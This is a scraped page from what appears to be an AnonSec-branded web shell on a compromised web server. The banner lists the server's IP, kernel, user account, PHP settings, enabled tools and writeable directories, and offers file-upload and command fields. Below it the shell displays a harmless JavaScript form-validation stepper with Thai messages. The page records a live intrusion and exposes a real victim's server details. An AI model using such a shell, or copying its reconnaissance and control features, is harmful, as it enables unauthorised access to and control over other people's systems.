NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 18.217.43.228
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/uat.pcu.in.th/assets/js/custom/modals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/uat.pcu.in.th/assets/js/custom/modals//form_oas_validate.js
"use strict";
var KTCreateAccount = (function () {
  var e,
    t,
    i,
    o,
    s,
    r,
    a = [];

  return {
    init: function () {
      (e = document.querySelector("#kt_modal_create_account")) &&
        new bootstrap.Modal(e),
        (t = document.querySelector("#kt_create_account_stepper")),
        (i = t.querySelector("#form_oas")),
        (o = t.querySelector('[data-kt-stepper-action="submit"]')),
        (s = t.querySelector('[data-kt-stepper-action="next"]')),
        (r = new KTStepper(t)).on("kt.stepper.changed", function (e) {
          // console.log(r.getCurrentStepIndex());
          5 === r.getCurrentStepIndex()
            ? (o.classList.remove("d-none"),
              o.classList.add("d-inline-block"),
              s.classList.add("d-none"))
            : (o.classList.remove("d-inline-block"),
              o.classList.remove("d-none"),
              s.classList.remove("d-none"));
        }),
        r.on("kt.stepper.next", function (e) {
          // console.log("stepper.next กูอยู่นี่ ");
          var t = a[e.getCurrentStepIndex() - 1];
          t
            ? t.validate().then(function (t) {
                console.log("validated!"),
                  "Valid" == t
                    ? (e.goNext(), KTUtil.scrollTop())
                    : Swal.fire({
                        text: "กรุณากรอกข้อมูลให้ครบถ้วน",
                        icon: "error",
                        buttonsStyling: !1,
                        confirmButtonText: "ตกลง",
                        customClass: { confirmButton: "btn btn-light" },
                      }).then(function () {
                        KTUtil.scrollTop();
                      });
              })
            : (e.goNext(), KTUtil.scrollTop());
        }),
        r.on("kt.stepper.previous", function (e) {
          // console.log("stepper.previous"),
          e.goPrevious(), KTUtil.scrollTop();
        }),
        a.push(
          FormValidation.formValidation(i, {
            fields: {},
            plugins: {
              trigger: new FormValidation.plugins.Trigger(),
              bootstrap: new FormValidation.plugins.Bootstrap5({
                rowSelector: ".fv-row",
                eleInvalidClass: "",
                eleValidClass: "",
              }),
            },
          })
        ),
        a.push(
          FormValidation.formValidation(i, {
            fields: {},
            plugins: {
              trigger: new FormValidation.plugins.Trigger(),
              bootstrap: new FormValidation.plugins.Bootstrap5({
                rowSelector: ".fv-row",
                eleInvalidClass: "",
                eleValidClass: "",
              }),
            },
          })
        ),
        a.push(
          FormValidation.formValidation(i, {
            fields: {},
            plugins: {
              trigger: new FormValidation.plugins.Trigger(),
              bootstrap: new FormValidation.plugins.Bootstrap5({
                rowSelector: ".fv-row",
                eleInvalidClass: "",
                eleValidClass: "",
              }),
            },
          })
        ),
        a.push(
          FormValidation.formValidation(i, {
            fields: {
              ansOas_1: {
                validators: {
                  notEmpty: {
                    message: "กรุณากรอกข้อมูลให้ครบถ้วน",
                  },
                },
              },
              ansOas_2: {
                validators: {
                  notEmpty: {
                    message: "กรุณากรอกข้อมูลให้ครบถ้วน",
                  },
                },
              },
              ansOas_3: {
                validators: {
                  notEmpty: {
                    message: "กรุณากรอกข้อมูลให้ครบถ้วน",
                  },
                },
              },
            },
            plugins: {
              trigger: new FormValidation.plugins.Trigger(),
              bootstrap: new FormValidation.plugins.Bootstrap5({
                rowSelector: ".fv-row",
                eleInvalidClass: "",
                eleValidClass: "",
              }),
            },
          })
        ),
        o.addEventListener("click", function (e) {
          a[3].validate().then(function (t) {
            console.log("validated!"),
              "Valid" == t
                ? (e.preventDefault(),
                  (o.disabled = !0),
                  o.setAttribute("data-kt-indicator", "on"),
                  setTimeout(function () {
                    o.removeAttribute("data-kt-indicator"),
                      (o.disabled = !1),
                      r.goNext();
                  }, 2e3))
                : Swal.fire({
                    text: "Sorry, looks like there are some errors detected, please try again.",
                    icon: "error",
                    buttonsStyling: !1,
                    confirmButtonText: "Ok, got it!",
                    customClass: { confirmButton: "btn btn-light" },
                  }).then(function () {
                    KTUtil.scrollTop();
                  });
          });
        });
    },
  };
})();
KTUtil.onDOMContentLoaded(function () {
  KTCreateAccount.init();
});

Anon7 - 2022
AnonSec Team